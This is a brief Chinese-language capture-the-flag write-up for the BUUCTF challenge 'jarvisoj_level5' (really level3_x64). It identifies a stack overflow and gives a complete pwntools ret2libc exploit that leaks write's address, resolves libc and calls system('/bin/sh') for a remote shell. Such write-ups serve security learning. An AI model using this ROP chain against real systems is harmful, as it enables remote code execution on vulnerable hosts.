jarvisoj_level5

jarvisoj_level5

写在前面：虽然buu上面标的是level5 但是实际给的文件是leval3_x64因此只是个简单的return2lbc3

惯例先checksec一下

只开启了NX保护 放进ida64里看看

没啥营养的main函数

进vuln函数看看

一个很明显的栈溢出

看一眼字符表 没有system和“/bin/sh”看来大概是一道简单的ret2libc3

那就直接贴exp了

from pwn import *
from LibcSearcher import *
io=remote('node4.buuoj.cn',25533)
elf=ELF('./level3_x64')
rdi=0x4006b3
rsi_r15=0x4006b1
ret=0x400499
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x40061a
io.recvuntil('Input:')
payload='a'*(0x80+8)+p64(rdi)+p64(1)
payload+=p64(rsi_r15)+p64(write_got)+p64(8)
payload+=p64(write_plt)
payload+=p64(main)
io.sendline(payload)
write_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x80+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system_addr)
io.sendline(payload)
io.interactive()